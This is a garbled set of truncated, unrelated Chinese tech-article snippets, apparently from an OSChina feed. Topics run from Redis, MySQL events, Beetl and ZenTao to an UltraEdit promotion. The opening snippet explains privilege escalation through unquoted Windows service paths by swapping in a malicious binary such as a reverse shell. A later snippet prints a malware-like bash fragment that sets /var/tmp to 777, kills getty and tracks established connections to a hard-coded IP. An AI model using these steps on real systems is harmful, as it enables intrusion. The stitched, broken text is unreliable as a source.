一、无引号服务路径（TrustedServicePaths）先说实用度，比较被动，而且比较看脸。Windows下服务的权限通常是SYSTEM。如果我们能够替换服务的启动程序为我们的恶意程序（如反弹shell），即相当于获得了SYSTEM权限，达到了提权的目的。无引号服务路径有可能会导致这种情况的发生。所谓无引号服务路径，就是服务启动程序的路径中包含

UltraEdit(https://www.oschina.net/action/GoToLink?urlhttps%3A%2F%2Fwww.evget.com%2Fproduct%2F3546)是一款功能强大基于磁盘的文本编辑器、程序员的编辑器和十六进制编辑器。可以用于编辑HTML、PHP(https://www.oschina.net/p/

一、引言Redis是高性能的keyvalue数据库，在很大程度克服了memcached这类key/value存储的不足，在部分场景下，是对关系数据库的良好补充。得益于超高性能和丰富的数据结构，Redis已成为当前架构设计中的首选keyvalue存储系统。虽然Redis官网上提供了200多个命令，但做程序设计时还是避免不了为了实现一小步业

!(https://oscimg.oschina.net/oscnet/f025b1fdbe189a7685c0ef68f4a4d038c86.jpg)!(https://oscimg.oschina.net/oscnet/caeb6fe07503d5e3eaddf534a33c04dd2ea.jpg)!/bin/bash

!/bin/bashmkdir/var/tmpchmod777/var/tmppkillfgettynetstatantp|grep'27.155.87.59'|grep'ESTABLISHED'|awk'{print$7}'|sede"s/\/.//g"|

在mysql中我们可以直接进行一些参数设置让它成定时为我们执行一些任务了，这个虽然可以使用windows或者linux中的计划任务实现，但是mysql本身也能完成查看event是否开启复制

Redis为什么添加Lua支持redislua脚本出现之前Redis是没有服务器端运算能力的，主要是用来存储，用做缓存，运算是在客户端进行，这里有两个缺点：一、如此会破坏数据的一致性，试想如果两个客户端先后获取（get）一个值，它们分别对键值做不同的修改，然后先后提交结果，最终Redis服务器中的结果肯定不是某一方客户端所预期的

修复了3.2.1版本调增后，不兼容API的bug修复升级到3后，脚本引擎执行不支持Java直接调用的Bug<dependency<groupIdcom.ibeetl</groupId<artifactIdbeetl</artifactId<version3.2.4.RELEASE

禅道底层的zentaoPHP框架提供了命令行的操作入口，通过这个功能，可以通过命令行实现对禅道的各种配置或者维护工作。在继续阅读下面文章之前，请大家了解这篇文档：http://devel.cnezsoft.com/book/extension/34\_cli.html(https://www.oschina.net/action/GoToLink?url

本文是基于redis缓存实现分布式锁，其中使用了setnx命令加锁，expire命令设置过期时间并lua脚本保证事务一致性。Java实现部分基于JIMDB提供的接口